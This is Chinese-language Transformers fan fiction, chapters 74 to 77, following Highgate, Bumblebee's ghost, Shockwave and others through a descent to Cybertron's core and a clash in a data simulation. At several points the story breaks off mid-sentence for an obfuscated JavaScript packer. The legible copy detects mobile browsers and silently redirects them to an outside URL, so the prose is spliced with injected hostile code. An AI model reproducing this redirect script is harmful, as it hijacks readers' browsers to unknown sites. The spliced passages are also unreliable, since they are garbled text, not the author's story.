“我吗?”虽然对方的话已经给出了答案,但大黄蜂还是忍不住问,“你看得见我?” “我没有不死的火种,所以无法直接看到你,但通过海格特刚才的行为、语言和视线移动轨迹,可以判断出你就在这个地方附近。” 好厉害……不对。 他刚刚说什么,海格特的语言和行为? 大黄蜂忍不住皱了下眉,然后在旁边找了个空地坐下。 “你该不会随时都在监控和监听他吧……?” “如你所见,海格特现在放弃了所有行动。”听不见他在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可这地方恐怕连铁甲龙都活不下去,几乎要到星球的核心,无论是重力还是气体构成都会致命。 ——这样想着的下一刻,大黄蜂就意识到了。 自己现在是幽灵,不正好就适合这趟必死的旅行吗? 还有海格特。 现在想想,不只是能看见幽灵这件事很奇怪,据他所知海格特曾经遭到好几次机体破坏,但无论伤得有多彻底,他的自我连续性却一直没有变。 一种全新的可能性闪过脑海,大黄蜂最后看了一眼震荡波,然后朝着地下实验室快速移动过去。 “别告诉他是我提出来的,”这是震荡波对他说的最后一句话,“还有,谢谢你。” 事到如今,好像海格特的功能已经非常明确,就是将世界数据化,或者将塞伯坦人的意识上传至服务器。 但这样一台巨型机器被制造出来,难道真的只是为了这些奇怪的功能,然后促使他最后毁掉塞伯坦吗? “听我说!” 大黄蜂再次找到消沉的机器,漂浮的双手在他面前挥了挥,就像一颗明黄色的星星。 不死的火种在幽灵体内雀跃着,有种即将发生大事的预感。 “现在有个办法,”他认真看向对方的光学镜,“说不定能知道你是谁。” 74.第七十四章 “如果你想知道‘我是谁’,可以自己下去寻找答案。” “……什么?” 大黄蜂的幽灵愣了一下。 “我是说字面意思。”海格特说,“你不需要我的陪同。” “不,可是,就算我不把答案告诉你也无所谓吗?” “嗯。” “可我需要你的帮助呀,一个人去往地下还是有点……” “你是幽灵,”海格特说话的声音很轻,“只要心念一动就能回到地面,而且没有东西能杀死已经死过一次的人,整个塞伯坦对你来说都不存在任何危险。” “还是有危险的,幽灵也可能产生精神方面的问题,对吧?” “……” 连他自己的语气都不是很确定。 但被那双充满期待的光学镜看着,机器最后也只能活动起长久没有移动的机体,又味同嚼蜡地补充了能量。 大黄蜂不是想获得他的帮助,而是反过来想帮助他。 这种不含一丝阴霾,纯粹的好心肠。 对现在的海格特来说,稍微有点承担不起。 所以尽管不是出于本意,一台机器和一个幽灵,很快就踏入了那条据说能通往真相的密道。 就像一个喝多了高纯后写出的寓言故事。 —— 一开始只是普通的漆黑隧道,但在往下走了一段时间后,周围景色开始变得不同寻常。 视野中出现了薄雾,大黄蜂看向海格特,后者对环境进行了检测。 “这里的雾气有问题,”海格特查看着自己的内部数据板,“会通过电离辐射与能量发生反应,让能量管线产生阻塞。” “这么严重,”明黄色的幽灵担忧起来,“那你没事吗?” “我的机体可以自行修复这些小问题,总之,不是遇火会爆炸的成分就好。” 如果被炸成碎片,恢复起来会很麻烦,且不说不知道会被炸到哪里去,起码会耽误很长时间。 看来这趟旅程,别说塞伯坦人,可能与正常的生物都无缘。 带毒的空气只是个开始,随着探索深入,要命的地区变得越来越多。 随时会发生位移,将人击碎的巨型岩块、当年铁甲龙被发现时所在的那座能腐蚀人心智的能量湖、还有比金属更锋利的晶体丛组成的林地…… 在感叹其危险的同时,又不由得被地下这些堪称鬼斧神工的场面震撼。 机器与幽灵路过各种奇观和历史遗迹,近乎无限地向下走,不知不觉已经过去了很长时间。 某天,海格特检查了一下剩余的能量,随手将不小心被切下来的手臂接回去,又听见大黄蜂的声音。 “你在哪儿?”幽灵似乎迷失了方向,“我找不到你。” “这边。” 海格特回应了一句。 “噢。”大黄蜂从一侧的岩壁里探出头,“我刚刚飘得太远,方向感在这个地方有点失灵。” “幽灵也会被电磁场影响吗?”海格特思考着,“为了你的安全,我建议还是返回。” “不,我只是绕晕了,没有被影响,”大黄蜂连忙拒绝,“而且你看,我们已经到这么深的地方,回去也太可惜啦。” 他语气有些激动地转过身,指着附近的一片广袤地下空间。 从刚才开始,就能听见一种巨大的轰鸣。 海格特顺着大黄蜂指的方向看去,发现了轰鸣的来源。 那是赤色的瀑布从半空中落下的声音。 由熔化的液态矿物所形成的宽阔河流在面前流淌,岩浆的热浪将空气扭曲,向塞伯坦的各个方向输送能量。 澎湃的生命力,就像一颗巨大的金属心脏的血管。 海格特哑口无言地看着这幅景象,连外甲微微产生了融化都没注意到。 因为一直以来,大家操心的都是些塞伯坦人之间的事务,所以他也在不知不觉间忽略了塞伯坦——究竟是何等伟大的事物。 “知道吗,我一直在想。”看着如此震撼的景色,大黄蜂开口,“如果真的有谁创造了你,那个人可真有远见。” “什么意思?” “我们……我是说塞伯坦人,好像很少会有人停下来想想死亡,想想那些过去的人,但你直接看到火种,你会在乎每一颗火种的熄灭。” “你说得好像我是灵魂行者似的。” 大黄蜂有些惊讶:“你也听过那个传说?” “是的,不过本来也不用特地思考那种事。”海格特说,“忘记死亡的概念,就能仿佛永生地活着,这挺好的。” “嗯……” 大黄蜂看上去若有所思。 “怎么了?” “就是突然觉得当幽灵也不错,”小型机的声音有些不好意思,他的视线再次放远,“不然也没办法亲眼看到这幅景象。” 如果热破在这里,肯定会把这趟旅行定义为冒险,就像塞伯坦骑士团那样,探索未知的领域。 虽然大黄蜂没有这种程度的热情,但还是忍不住深吸一口气。 “好,继续出发!” “……” 不要说那种话来美化你的死亡。 海格特本想这么说,但话最后还是咽了回去,他不想泼对方冷水,这半个月的旅行让他跟这位侦察兵建立起了友谊。 于是最后,只能复杂地看了大黄蜂一眼。 这时,视野的余光中忽然出现了一个人。 在这被岩浆照亮的地下空间,那个人的轮廓却相当模糊,就像来自另一个维度的存在似的,海格特仅仅看到一个黑色的影子。 紧接着,那个人影动了起来。 隐约能看到他身后的披风闪过有如宇宙般的光芒,消失在幽深地下的某个拐角。 在产生思考前,海格特的机体先一步追了过去,差点把大黄蜂落在原地。 哪怕是提前布置好的通道,也仅仅在穿过次级能量层后就停了下来,之后的部分只有模糊的推测地图。 在这个理应不可能让生命涉足的地下空间里,居然有人在? “你怎么了?”勉强跟上的大黄蜂问。 “一会儿再说。” 尽管在几个拐弯后已经完全失去目标,可海格特还是捕捉到了那颗独特火种的踪迹,于是紧紧跟着对方前进。 在追赶的过程中,他有几次都以为自己踩空了,但下一秒却翻转到了别的平台上,足底轻轻一滑以卸去多余的冲力,然后继续加速追赶。 “我们这是到哪里了?” 大黄蜂的声音听上去有些不安。 在这无限接近于塞伯坦核心的位置,他的定位系统已经彻底失效,这下是真的连上下左右都分不清。 但哪怕到了这个地步,幽灵还是没有选择返回。 因此,他最后看到了那副景象。 ——一扇几乎遮天蔽日的,巨大的门。 不,说是门有些不太准确,那其实是个拱门型的宏伟建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“灵魂行者,”死锁开口,“他是元始天尊的使者,负责将逝去的火种送入火种彼世……等一下,你没听说过吗?” 救护车表现得很无所谓:“我不看童话故事。” 但是这个词,他之前看了一眼模拟世界时,正好看到大黄蜂跟海格特聊天的时候提起过。 沉默片刻后,好奇心最后还是短暂地战胜了对宗教的反感,医生心情复杂地问道:“跟我说说他,但尽可能长话短说。” “好。” 死锁看上去很高兴,倒不是因为他有多信仰光谱教——现在他也半信半疑——而是因为终于有件事能帮得上救护车。 “灵魂行者,他是个游走于战场的中立者,为所有死去的塞伯坦人举行追悼,当他的影子落在尸体上时,死者的灵魂就会跟随接引,一同前往火种彼世,人们称呼他为沉默的超度者、传教士、守门人。信使……” “等一下。” 救护车忽然打断了他。 “你刚刚说什么?” “呃,信使?” “不,在前面。” “守门人?” “对,就是那个。” 救护车露出一副古怪的,似乎觉察到什么的表情。 “你说守门,那他守的是什么门?” “当然是通往火种彼世的门了。” 死锁理所当然地回答。 75.第七十五章 在经历过一位朋友的死后,曾任人口普查员的铁判就开始记录所有塞伯坦人的死亡。 单纯的记忆总是不可靠的,连他自己也记不起生命最初那些年的事,连故乡天高峡谷的模样都快淡忘了——可能是遭遇过电磁风暴的后遗症,也可能是别的原因——总之,铁判决定留下些更可靠的记录。 于是在之后的年岁里,他研究出了火种追踪和量子传送这些不可思议的技术,在一颗曾经宛若焦土地行星上展开行动。 其实就是记录死亡。 一开始不太习惯,但后来就变得无关悲伤或者喜悦,仅仅是记录下来,有机会的话,还可以将火种副本储存在一个不会被销毁的地方。 随着时间流逝,他偶然间发现了一件事。 所有的火种在消逝时,它附近都会产生一种微弱的,几乎可以忽略不计的电子脉冲,将逝去火种最后的能量带走。 在仔细观察了数次后,当时已经被人们私下里传称为“灵魂行者”的铁判发现,那些被带走的能量都被输送到塞伯坦星球的内部去了。 “这就是你用量子传送技术进入地心的原因?” 听着对方叙述的海格特忍不住问。 “不,我最初进来是因为一场传送事故。” 哪怕有所猜测,他也不可能直接将自己传送到地心,那简直是自杀行为。 事实上,当铁判发现自己的传送坐标被莫名修改,而周围情况显示的又是地心的时候,真以为自己死定了。 “无论如何,在那之后我就发现了这个地方。” 就在这时,海格特看见大黄蜂的幽灵低着头走了过来,明明刚才还因为旁边过于宏伟的拱门建筑出神,此时却一副落寞的神色。 “你怎么了?” “没什么,就是发现他看不见我。” 幽灵勉强苦笑了一下。 “所以在我们面前的这位灵魂行者……大概只是个普通塞伯坦人,传言果然不可靠嘛。” 海格特想说点什么。 还不能确定,他或许有其他的神奇力量,不要放弃……诸如此类。 但话到嘴边却全都说不出口。 因为大黄蜂说得没错。 看不到幽灵的铁判,仅仅是旁观着死亡的灵魂行者,显然不会将他引渡到所谓的火种彼世,也无法告诉他生命的真相和意义。 说到底,那些超现实的东西可能根本不存在,旁边的这扇宏伟的拱门,也可能只是一个地心偶然产生的奇观而已,就跟一路上他们看到的那些景色一样。 “你……” “哦,我没事的!不如说松了口气——我还在想万一真的被他带去见到元始天尊该怎么办呢,”在海格特开口安慰他之前,大黄蜂马上又打起精神,“还是先问他一些别的事。” 虽然是平淡的口吻。 但是已经坚强到超乎想象的地步。 “那里有谁在吗?”注意到海格特的视线,铁判问。 “是的。”机器看向幽灵,在后者点头同意后继续道,“是大黄蜂的幽灵。” “你是说铁堡的大黄蜂?在前段时间里死于战争的那位?” “嗯。” “……那么这又是一条证明。” 铁判立刻拿起数据板记录、测算着什么,他瞬间沉浸在自己的思绪里,完全忽视了周围的情况。 直到这个时候,大黄蜂才后知后觉地意识到,眼前这个塞伯坦人身上的奇特之处—— 该说是淡然,还是缺乏紧张感? 在他面前,违背常理的幽灵也好,能目视火种的机器也罢,全都像是微不足道的小事般被轻易接受。 而当他袒露自己的过去,说起“记录死亡”这种大事时也是如此。 虽然不是传说中那种行走于死亡边界的灵魂行者,但确实拥有一种古老而从容的风度。 “你说证明,”海格特问,“是指什么。” “我没有特异能力,但生与死之间的确还存在尚未解明的地方。” 铁判说着,从数据板上抬起头,注视着眼前的拱门。 “你们的存在就是证明。” “我们?” “嗯,我在这地方研究了很多年,也用火种追踪器观察过这扇门,那时我就发现,每当有火种的能量被带去门内时,石壁上都会浮现出一个词汇—— 是Highgate。” 大黄蜂愣愣地看向海格特,但后者只是伸出手,轻轻碰了碰那巨大拱门的内侧,发现无法进入后,又切换成看见火种的视觉模式。 “……” 就这样观察了一会儿,在难言的沉默中,机器轻轻转过身。 “你看到自己的名字了吗?”大黄蜂赶紧问。 “看到了。” “那……” “我从来没学过古塞伯坦语,但还是能看懂那个词。”海格特神色晦暗不明,大黄蜂只能看到他微微地在笑,“因为它是用现代语写的。” 这里可是塞伯坦的中心。 所以,要么文字是被某个后来者添加上去,不然就是整座建筑都是后来建造。 有人在演戏。 不是铁判,也不是震荡波——那个人做事可不会露出这么明显的纰漏。 心中虽然还有不少模糊的猜测,但擅自怀疑也没有用,所以还是不要说了。 做蠢事也要有个限度,这么明显又可笑的破绽到底是演给谁看呢? “根本没有什么证明,是你想多了。”海格特说着,靠着石壁坐下,“我有点累了,这趟旅行就在这里结束吧。” 可能是精神稍微放松的缘故,顿时一种巨大的疲惫蔓延上来。 以为会有什么事出现,为自己带来转机,但步入最深的地下,看到的也只是这样的一块石头而已。 毕竟那种想法本身就太过傲慢。 现在能量已经消耗见底,那里也去不了,恐怕就是对他有过这种天真想法的惩罚。 而就在这时,他听见铁判开了口。 “这件事,我当时也发现了。”古老的塞伯坦人轻轻说着,“但我认为,这正证明了这座建筑的伟大。 它可能已经超越了时间,步入新的维度。事实上,这个地方不仅位于星球的天体中心,还有着极为复杂的机械结构,它的作用绝不只是吸收能量这么简单。” 想不到记录死亡的灵魂行者还是个乐观主义者。 虽然很想这么打趣一句,但海格特没有开口的力气,能量消耗已经到了极限。 铁判想了想,问了一句:“铁堡的大黄蜂,他的幽灵还在吗?” 海格特的视线看向旁边的某个地方。 大黄蜂从刚才开始就在试图对他说点什么鼓励打气的话,神情急切,但效果甚微,于是只能手足无措地站在旁边。 居然这种时候了还在担心我……究竟要好心到什么地步? “那接下来,这些话是要对幽灵说的。” 铁判也看向海格特视线所指的方位,继续道。 “如果所有熄灭的火种都会回归到这个地方,那么幽灵也不会成为例外。如果我一直以来的研究没有错,铁堡的大黄蜂,如今的你不仅可以到达门的另一边,也可以作为幽灵,指引海格特成为至高之门。” “你让他回归……那按照你的意思。” 海格特皱起眉,打断了他。 “难道是让他去死吗?” 铁判没有犹豫:“他本来就死了。” “不行,我不同意。” “你没有立场阻止他。” “那你也不过是想要利用大黄蜂来证明自己的研究而已,毕竟幽灵和机器同时凑齐的状况千载难逢。” “我想我没理由接受你的指控。” 海格特张了张嘴,没再说出话。 确实如此。 和其他那些疯狂科学家完全不一样,铁判的火种非常温和,他仅仅是出于最简单的想法,想让幽灵和机器找到归处。 自己实在不应该诋毁这样一个人。 海格特突然想起了很多年前,作为至高之门存在的那漫长的年岁。 每次看到火种熄灭都会感到痛苦,或许是因为这些熄灭的火种都会回归到这个地方。 这里是塞伯坦整颗的心脏。 而自己——名为“至高之门”的装置,是它的“眼睛”? “……” 海格特陷入一阵沉思,直到听见一个声音。 “虽然你们好像很认真地在谈,”大黄蜂故作不满地抱起手臂,“但就这么简单的作战计划,只要我进去就好了,没有什么值得商讨的吧?” 说着,他就往拱门内侧的方向移动。 “等一下……!” 海格特试图阻止,但哪怕可以感知,他也无法触碰到幽灵。 事情不应该这样才对。 大黄蜂还很年轻,还应该有很多生命的体验。 让幽灵复活的方法,让生死逆转的方法,这个世界上说不定也是存在的。 “为什么一定要现在呢?”他劝道,“你可以再去外面看看,去跟你的战友们在一块, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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连话都没听完,随着大黄蜂,海格特看到了拱桥对面的景色。 那是生命的流动痕迹,光芒充斥着所有的思维,这里是所有死去火种的轮回之地,而他有将这个通道打开的权限,成为真正的“至高之门”…… 虽然之前放弃过,但如果再次利用这份运算能力,说不定还能演算出一个让所有人获得幸福的结局? 正这样想着,他就看到有一个人站在光芒中等他。 “你是……” 尽管身影模糊,海格特还是认出了那个身影。 “林格?” 他急忙想过去,可是视野中的林格却始终与他保持着一段距离,似乎在说着什么。 那好像是在说—— “别过来,现在还不是时候。” “!!” 忽然,从头雕后方传来冰冷的触感。 在海格特即将融入至高之门前,意识被猛地拉回现实,不只是模拟世界中的——感官就像被一层层抽离,模拟被强行终止,发出一连串的报错音。 海格特头痛欲裂,他觉得自己好像是发出了一声惨叫,但也不太真实,等他坐回观测室的椅子上,总算能睁开眼时,看到的却是无论如何也不想在此刻看到的面孔。 本应只有两人能涉足的观测室内,还有另一个人。 是不知为何突破了所有数据化屏障,悄无声息地出现在此地的震荡波。 抓着他的肩膀,面无表情地—— 紧紧注视着他。 “你到底想做什么?”科学家的声音压抑着怒火。 “什……” 连刚升起来的杀意和敌意都消散了,海格特只能默默放下想要进攻的手,茫然地看着对方。 这还是头一次,这个人对自己生气。 “别走神,真的只差一点就完了,你没意识到吗?”震荡波一字一句地说着,火种也在激烈地波动,“稍微想想吧,在模拟世界里展开模拟的下场?” 在模拟之中展开模拟,然后模拟的世界再次衍生出新的世界,新的世界又衍生出更内侧的世界。 就这样不断叠加,永无止境。 “一旦开了这个头,世界的层数将被叠加到无法控制的地步,你想被瞬间烧毁吗!?” 76.第七十六章 世界的,层数? 这个词汇让海格特短暂地愣神。 正如震荡波所说,如果模拟世界中的自己也拥有了模拟的权限,那世界就会像镜中镜一样无限嵌套下去。 到时候会发生什么,不用想都觉得毛骨悚然。 为什么这次会没想到这种情况呢?难道又是思维上的后遗症?不,这已经是漏洞,是不可忽视的错误。 对生命来说,犯错是正常的。 但作为一台机器,绝对不能有这种弱点才对。 “至少我阻止了最坏的情况,”科学家打破了沉默,“别走神了,对我道个谢怎么样?” “……!” 海格特猛地将人推开,下一瞬,由数据构成的纯白武器就已经从四面八方包围了震荡波。 “回答我的问题。” “好的,”科学家已经平静下来,刚才的怒火很快就消了下去,“你别激动。” 于是机器开始了询问:“警车和天火的模拟世界里,你的两次自/杀都是在故意干扰我的判断?” “我承认有这部分原因,但更重要的,在模拟世界拖太久对我也没有好处,更何况天火那个世界里的我经历了皮影戏,虽然能抽离出来,但也担心时间久了会被影响。” “大黄蜂的模拟世界里,灵魂行者会发现地下也是你动的手脚?” 震荡波点点头:“拱门的位置距离岩浆太近,让他自己去冒险太危险了,就改了一下参数。” “那还有,在爵士的模拟世界里,是你伪造警车的信号给我发了斯坦尼兹的坐标。” “你连这都记得。”他忽然放松地笑了起来,好像刚才的严肃都是装的,“噢,我很高兴。” “高兴什么?” “呃,算我用词不当,更多可能是感动,”震荡波说,“毕竟,这种关注证明你还是对我有所期待的。” “每次都来干扰世界模拟,你到底在打什么主意?” 海格特刚问完,又否定了自己的疑问。 “算了,你想给我灌输什么都是你的自由,无论如何,这场对决重复几次是由我决定,在我获胜、你们认输之前,无论多少次都可以重复。” 这是场直到塞伯坦人提出放弃,或者机器感到无聊,将所有人强行数据化为止,永无止境的一边倒的游戏。 然而,科学家却不紧不慢地站起来,无视了周围的武器,随意地拍着涂装上的灰尘,缓缓开口: “我必须指出,你说错了——或者说,你说反了。” “解释。” “虽然只是模拟演算,但为了自己理想中的世界,你还是在不停把其他人展现出来的世界一个个杀死(否定)。” 震荡波有些伤感地笑着。 “如果是我认识的海格特,这个认知应该会令你感到痛苦。所以哪怕希望渺茫,你其实也希望看到他们胜利。因此这场游戏不是到塞伯坦人认输,而是到你承受不了为止,都永无止境继续下去的折磨。” “……你在试图激怒我。”海格特面无表情地看着他。 “当然不,现在说可能有点晚了,但我这次出现在你面前,除了让你避免被世界的层数烧毁之外,其实是想给你一个礼物。” 礼物? 这话没来由的让海格特警惕起来。 感觉很奇怪。 哪怕一开始展现出了愤怒,然而震荡波的态度却平静得有点异常。 看到自己的新机体时是这样,提起世界模拟的时候也是。 就好像“完全不意外”事情会发展到现在这个地步。 海格特这才开始仔细观察这个科学家,发现对方的外甲上有一层很薄的,能隔绝数据化的涂层。 自己不是不能突破,只是解析起来需要时间。 “你是从哪里弄到的这种技术?” 海格特在数据化后观察过宇宙一段时间,起码在月卫二轨道以内的范围里,不存在震荡波火种的踪迹。 短时间内研究出这种隔离技术的要求极高,而曾任助手的他也知道,震荡波在远离塞伯坦地方没有这种配制的实验基地……当然也可能是对方没告诉自己。 “遇到困难的时候,我当然是求助于比自己更智慧的人。” 震荡波说着,指了指头顶上方。 “就在这。” 海格特抬起头,发现在塞伯坦上空不知何时悬浮着一架巨大的飞船,一边发出轰鸣的声响,一边正在展开某种巨型仪器。 上面位于操作室内的火种,他认得出来。 “哲拉萨斯,”他毫无感情地念着这个名字,然后凝视着震荡波,“你原来,连自己的老师都可以利用?” 事到如今,他很清楚这对师徒是不可能开展合作的,那么震荡波让哲拉萨斯出现在这里的理由,就算是幼生体都能想明白。 ——让他送死,让他转移海格特的注意力,或者为别的事争取时间。 无论是什么,都是被自己的学生当成弃子和诱饵。 “你真的没救了。” 海格特的声音有些颤抖。 “先别这么说,你误会了很多事。”震荡波语气依旧平静,他摊了摊手,“包括对我的感情在内,你误解了它们的真实。我不在乎被你误解,但现在最好别把你的情绪认成愤怒,海格特,更不要把它误以为是憎恨,你还不熟悉这些,这世界上有很多种情况能令人感到激动, 尤其是在大仇得报的时候。” 浅蓝色的光学镜静静倒映着机器面甲。 他在笑。 海格特在笑。 “原来如此。” 事到如今,他终于明白了震荡波所说的“礼物”是什么意思,这其实是一个机会—— 一个迟来了两百万年的,亲手替林格报仇的机会。 一想到这,头脑就变得异常清晰,所有的物体都有迹可循,所有的气流都一清二楚,神经敏锐到连最细微的物质都能分辨。 在战栗般的感受中,他做好了准备。 紧接着,哲拉萨斯的攻击抵达塞伯坦。 铺天盖地的电离辐射打在白色的数据化星球上,虽然这种进攻无法直接作用于至高之门,但也可以干扰数据运算。 海格特立刻终止了大部分区域的数据化,将能量用在解析以及进攻上。 —— ———— “塞伯坦恢复了!?” 不知是谁叫了一声,紧接着,万物之流号上此起彼伏的全是或困惑或激动的声音。 “不知道能持续多久,我们必须抓紧时间,” 奥利安的声音让混乱的局面瞬间暂停,紧接着,他迅速指挥起作战。 “原安保小组和热破,随我返回塞伯坦取走目标。” “爵士,确认大黄蜂状态,将他带回来。” “天火小组、通天晓驻守飞船,维持秩序。” “其余人员非必要不行动。万一需要进入塞伯坦,记得保持通讯畅通,及时返航。” “时间有限,行动开始。” 听到如此井然有序的命令,哪怕是警车也忍不住露出微笑。所有人迅速进入行动,执行各自的任务。 除了本身就有当机立断的气势之外,奥利安能瞬间做出如此反应,还因为前不久他又收到了来自震荡波的消息。 在消息里,那人告诉他之后自己会尝试破解数据化,但时间不会太久,希望他们利用好这次机会。 于是在看到哲拉萨斯的飞船出现的时候,他就做好了随时出发的准备。 对大多数人来说,这是久违地回到塞伯坦,甚至是久违地踏在星球地表。 “我从来没有这么怀念过用载具模式跑的感觉。”铁皮忍不住说,“感觉能绕着塞伯坦跑个三圈。” “等事情结束了再谈吧,请别太激动。”在队伍前列的警车说,“毕竟我们现在要去取的东西可是… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507674|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” “是,我知道。”铁皮回应一句,“没什么东西能比它重要。” 奥利安一直沉默不语,专心致志地查看着地图,跟随带路的热破一路朝着朝天塔下方的峡谷飞驰。 路上他观察着周围,数据化似乎没有对塞伯坦人造成任何影响,他们路过时,那些一般居民的反应就像是什么也没发生过,继续着数据化之前的行为。 “如果不是亲眼在模拟世界里看到过,谁会相信呢?” 热破自言自语般地开口。 “传说中的领导模块居然会在这种地方,是世界疯了还是我们疯了?” 就在这时,奥利安的内线里又收到了通讯。 “到塞伯坦了?恐怕你们得抓紧时间。”是震荡波的声音,“最好五分钟,不,三分钟之内撤离,海格特的适应性比我想象的还要快。” 短短几分钟工夫,至高之门就快要破解哲拉萨斯的攻击方法,甚至得以反向入侵对方的飞船。 “我知道了,”奥利安又问,“那你呢?” “我会在适当的时候离开,不用担心。” 通讯中断了。 数分钟后,哲拉萨斯就被巨大的数据网格所包围。 “抓到你了。” 海格特欣赏着对方的表情。 这个轻易地将塞伯坦人作为“资源”利用,甚至仅仅为了测试武器,就不惜一口气杀死数百人的疯狂科学家。 会亲身上阵来做这种袭击,不知道震荡波提出了什么条件,或者用什么话术骗了他。 不过既然这人已经被自己捏在手心,那这些都不重要了。 真想就这样把他碾个粉碎。 撕成碎片,破坏殆尽。 然而海格特想了想,最后也没有被愤怒支配头脑。 林格的仇人不止有哲拉萨斯一个,还需要从他这里打听到镇天威的消息。 而且只要数据化,之后他们就无害了。 能够平等地作为拥有火种的塞伯坦人存在,所以海格特不会继续恨他。 “我很高兴你没有直接杀了他。” 看着自己的老师连着飞船一起被数据化,震荡波默默开口。 海格特有些诧异:“你为什么还在?” “这话让我好伤心,能撤回吗?”大型机摆出一副受伤的表情,“当然是不放心你才留下来的。” “你只是为了确认那些趁机会到塞伯坦的人有没有安全撤离。” “不,我真的在担心你。” “……莫名其妙。” “或许是。”震荡波耸了下肩膀,“但这也没有办法。” 说到这,他再次注视海格特的光学镜。 被那视线所捕捉,不知为何有些恍惚。 “毕竟在我这里,”震荡波指向自己的火种,“你的存在已经太过巨大了。” 随着话音落下。 海格特面前已经不再有震荡波的身影。 看来刚刚的只是个全息影像。 “又被他用数据骗过去了。” 与此同时,整个塞伯坦也刚好恢复数据化,星球再次被白色覆盖。 一切回归正轨,但心情难以平复。 海格特坐回观测室的位置上,大黄蜂已经不在了,大概是刚才被爵士救走,突然停止的世界模拟让这个参与者也出现了一瞬间的宕机,不过不严重,睡一觉就能恢复。 而且这个世界已经注定了会输,所以这么结束也不要紧。 自己的所作所为是为了塞伯坦,为了证明静止这条路是最美好的——明明是没有什么值得隐瞒的真实,但只有在面对震荡波时,他会感到一种莫名的烦躁。 现在想想,如果真如对方所说,自己误解了很多情感,那可能也没有看到这种烦躁的真相。 但有一件事可以肯定。 “在你的火种里,我不值得什么位置啊……” 机器喃喃着。 77.第七十七章 有什么地方不对劲。 站在无人的走廊上,刚从塞伯坦跃迁回飞船的声波仔细辨认着周围的动静。 太安静了。 为了避免出现机体的空间位置重叠而酿成悲剧,跃迁上来的人会被送到不同地方,这是之前就知道的。 但无论如何,刚才的几分钟内想必会出现一批新上船者,但他乍听过去,心声的数量没有变多。 凝神寻找片刻,声波发现飞船上那些理应无法进入的未知空间里,此刻却回荡着一些微弱的,似乎陷入昏迷的火种声音。 包括……自己带上船的那个人。 “你是在找什么东西吗?” 就在声波仔细辨认的时候,一个声音从他身后传来,因为早就听到脚步声,所以他并不惊讶。 只是沉默着转过身,对上了那台体型跟自己差不多的银白色机体。 是这个人做了手脚。 声波这样想着,而警车同样也带着一副“果真如此”的神色,在距离他一段距离的地方停了下来。 “做好准备,最严重的情况下你可能会面临军事法庭。” 战术家皱眉拿出数据板,在上面查看着什么。 “还以为你至少会从你那些磁带朋友入手,结果居然直接把那个暴君接过来……你是希望这艘船在内斗里自取灭亡,让海格特彻底掌控塞伯坦吗?” 在所有人出发前,警车就批量地更改了跃迁圆盘的目的地,从随机落在甲板某个无人的地方,统一改成了飞船的未知空间。 那太拥挤了。 “提问:你就不担心汽车人因此死亡?” “我在那里提前布置好了抑制网和电路麻醉剂,也把所有点位按照隔间分开了,”警车说,“不会伤害任何人机体,更何况,大部分人已经被接出去了。” 在发现奥利安不限制跃迁圆盘的取用时,他早就预料到现在的情况。 但警车没有反对,而是打算利用这一点,为避免有人将威震天带到万物之流号,变相将所有人一视同仁地关起来。 不留任何缝隙。 现在只有通天晓、奥利安和天火拥有那些房间的最终权限,等同于所有新上船的人都得通过他们三个的审查——或者说得更准确点,三个汽车人的审查。 “我相信他们会做出正确的决断。” 警车说完转身就走,虽然和大多数人一样不知道声波的异能,但他对霸天虎的情报官始终抱有最高级别的警惕。 现在过来,也只是为了取证,让声波变相承认威震天的确是自己送上船的而已。 听到这一点,声波光学镜的红光微微闪动一阵。 “要动手吗?这里很偏僻,你配合一下,我就可以在不惊动任何人的情况下破坏他的通讯模块。” 通风口一侧的阴影中,传来机器狗的心声。 然而声波只是抬了抬手,做了个制止的手势。 没必要那么做。 更何况警车过来肯定早有相关准备,如果自己动手,恐怕下一秒就会被关押起来,或者驱逐出船。 回想起在模拟世界里看到的种种,他难得用平静的语气开口: “请求:放威震天出来,我们需要和平地谈谈。” “我没有相关权限,你找错人了。” 警车回头,光学镜冷漠地看着这个霸天虎。 “你最好是真的为了和平,而不是试图让他夺走领导模块。” “这和领导模块会选择谁无关,”声波接着说,“如果要突破至高之门的数据化,威震天也是不可或缺的力量。” “……这些话,” 离开前,警车只是这样开口。 “你不该跟汽车人说。” —— ———— “请告诉我,大黄蜂还好吗?” 塞伯坦,观测室内。 海格特问向坐在自己对面的新对局者。 “刚才发生的事太多,我没来得及检查他的状态,他就被你们提前接回去了。” “噢,别担心,红蜘蛛的幽灵已经把他叫醒了——他自己是这么说的。” 刹车回答的同时,视线依旧忍不住放在周围的景象上。 根据自己的内心所想,观测室变成了科诺姆新星城的一处图书馆。 这是出身于这座城市的刹车,在生命初期呆得最舒适的地方,这里海量的数据板和学术成果能解答他源源不断的疑问,让过度活跃的大脑沉浸在安宁而深邃的思维中。 “这里的数据板都是有内容的吗?”理论家问道,“还是说只是根据我的记忆还原出来的表象?” “有你记忆加工的成分,但我还原了那座图书馆里所有的书籍,现在它们是有内容的。” 刹车微微睁大光学镜。 